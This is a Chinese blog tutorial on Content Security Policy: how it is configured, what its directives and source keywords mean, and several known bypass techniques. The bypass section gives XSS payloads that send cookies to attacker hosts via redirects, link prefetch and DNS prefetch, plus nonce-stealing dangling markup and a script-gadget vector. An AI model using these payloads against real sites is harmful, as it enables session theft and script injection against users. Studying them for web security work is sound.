CSP策略及简单绕过

一、CSP策略简介

内容安全策略 (CSP, Content Security Policy)实质是白名单制度。开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置。CSP 大大增强了网页的安全性。攻击者即使发现了漏洞,也没法注入脚本,除非还控制了一台列入了白名单的可信主机。

 

二、如何启用CSP策略

  • 通过 HTTP 头信息的 Content-Security-Policy的字段
  • 通过网页的 <meta> 标签

 

三、CSP策略组成

一个CSP头由多组CSP策略组成,中间由分号分隔。

Content-Security-Policy: default-src 'self' www.baidu.com; script-src 'unsafe-inline'

其中每一组策略包含一个策略指令和一个内容源列表。

 

1、常用的策略指令

  • script-src:定义了页面中Javascript的有效来源。
  • style-src:定义了页面中CSS样式的有效来源。
  • img-src:定义了页面中图片和图标的有效来源。
  • font-src:定义了字体加载的有效来源。
  • connect-src:定义了请求、XMLHttpRequest、WebSocket 和 EventSource 的连接来源。
  • child-src:定义了 web workers 以及嵌套的浏览上下文(如<frame>和<iframe>)的源。
  • default-src:定义了那些没有被更精确指令指定的安全策略。这些指令包括上面所有指令。

 

2、内容源

内容源有三种:源列表、关键字和数据

1)源列表

源列表是一个字符串,指定了一个或多个互联网主机(通过主机名或 IP 地址),和可选的或端口号。站点地址可以包含可选的通配符前缀 (星号, '*'),端口号也可以使用通配符 (同样是 '*') 来表明所有合法端口都是有效来源。主机通过空格分隔。
有效的主机表达式包括:
http://*.kin.com (匹配所有使用 http协议加载 kin.com 任何子域名的尝试。)
mail.kin.com:443 (匹配所有访问 mail.kin.com 的 443 端口 的尝试。)
https://store.kin.com (匹配所有使用 https协议访问 store.kin.com 的尝试。)

如果端口号没有被指定,浏览器会使用指定协议的默认端口号。如果协议没有被指定,浏览器会使用访问该文档时的协议。

举个例子:

CSP策略为:<meta http-equiv="Content-Security-Policy" content="script-src kin.com">,那么只允许 kin.com 这个域下的资源才能够进行引入。

则当访问为http://kin.com/test.php?csp=<script src="http://dz.com/1.js"></script>,只有1.js才可以被引入被触发。

 

2)关键字

  • 'none':代表空集;即不匹配任何 URL。两侧单引号是必须的.
  • 'self':代表和文档同源,包括相同的 URL 协议和端口号。两侧单引号是必须的.
  • 'unsafe-inline':允许使用内联资源,如内联的<script>元素、javascript: URL、内联的事件处理函数和内联的<style>元素,两侧单引号是必须的。
  • 'unsafe-eval':允许使用eval()等通过字符串创建代码的方法。两侧单引号是必须的。
Content-Security-Policy: script-src 'self' kin.com

 

举个例子:

http://dz.com/test.php?csp=<script src="http://kin.com/1.js"></script>

这种情况只能在 kin.com 域下才能进行引入 script 资源

如果CSP策略为:Content-Security-Policy: script-src 'none' kin.comscript-src包括了两者,none 和 kin.com,后者会覆盖前者,也就是允许 script-src 引入 kin.com 域下的资源。跟例子的效果是一样的。

 

3)数据

  • data:允许 data: URI 作为内容来源。
  • mediastream:允许 mediastream: URI 作为内容来源。
Content-Security-Policy: default-src 'self'; img-src 'self' data:; media-src mediastream:

 

举个例子:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">

上面代码中,CSP 做了如下配置:

①、脚本script的src只信任当前域名(满足同源策略的条件)
②、<object>标签中的src不信任任何URL,即不加载任何资源
③、样式表style中只信任cdn.example.org和third-party.org
④、框架(frame):必须使用HTTPS协议加载
⑤、其他资源:没有限制

 

四、CSP绕过方式

1、url跳转

1)在default-src 'none'的情况下,可以使用meta标签实现跳转

<meta http-equiv="refresh" content="1;url=http://www.xss.com/x.php?c=[cookie]" >

 2)在允许unsafe-inline的情况下,可以用window.location,或者window.open之类的方法进行跳转绕过。

<script>
  window.location="http://www.xss.com/x.php?c=[cookie]";
</script>

 

2、<link>标签预加载

CSP对link标签的预加载功能考虑不完善。
1)在Chrome下,可以使用如下标签发送cookie(最新版Chrome会禁止)

<link rel="prefetch" href="http://www.xss.com/x.php?c=[cookie]">

 2)在Firefox下,可以将cookie作为子域名,用dns预解析的方式把cookie带出去,查看dns服务器的日志就能得到cookie

<link rel="dns-prefetch" href="//[cookie].xxx.ceye.io">

 

3、利用浏览器补全

有些网站限制只有某些脚本才能使用,往往会使用<script>标签的nonce属性,只有nonce一致的脚本才生效,比如CSP设置成下面这样:

Content-Security-Policy: default-src 'none';script-src 'nonce-abc'

 那么当脚本插入点为如下情况时:

<p>插入点</p>
<script id="aa" nonce="abc">document.write('CSP');</script>

 可以插入:

<script src=//17.rs a="

 这样会拼成一个新的script标签,其中的src可以自由设定.

<p><script src=//17.rs a="</p>
<script id="aa" nonce="abc">document.write('CSP');</script>

 

4、代码重用

Blackhat2017上有篇 ppt 总结了可以被用来绕过CSP的一些JS库。
例如假设页面中使用了Jquery-mobile库,并且CSP策略中包含"script-src 'unsafe-eval'"或者"script-src 'strict-dynamic'",那么下面的向量就可以绕过CSP:
<div data-role=popup id='<script>alert(1)</script>'></div>

 

5、iframe

1)如果页面A中有CSP限制,但是页面B中没有,同时A和B同源,那么就可以在A页面中包含B页面来绕过CSP:

<iframe src="B"></iframe>

2)在Chrome下,iframe标签支持csp属性,这有时候可以用来绕过一些防御,例如"http://xxx"页面有个js库会过滤XSS向量,我们就可以使用csp属性来禁掉这个js库。

<iframe csp="script-src 'unsafe-inline'" src="http://xxx"></iframe>

 

6、meta标签

meta标签有一些不常用的功能有时候有奇效:
meta可以控制缓存(在header没有设置的情况下),有时候可以用来绕过CSP nonce。

<meta http-equiv="cache-control" content="public">

meta可以设置Cookie(Firefox下),可以结合self-xss利用。

<meta http-equiv="Set-Cookie" Content="cookievalue=xxx;expires=Wednesday,21-Oct-98 16:14:21 GMT; path=/">

 

参考

https://www.jianshu.com/p/f1de775bc43e

https://www.cnblogs.com/zpchcbd/p/12976172.html

 

posted @ 2021-09-27 03:50  kinyoobi  阅读(2910)  评论(0编辑  收藏  举报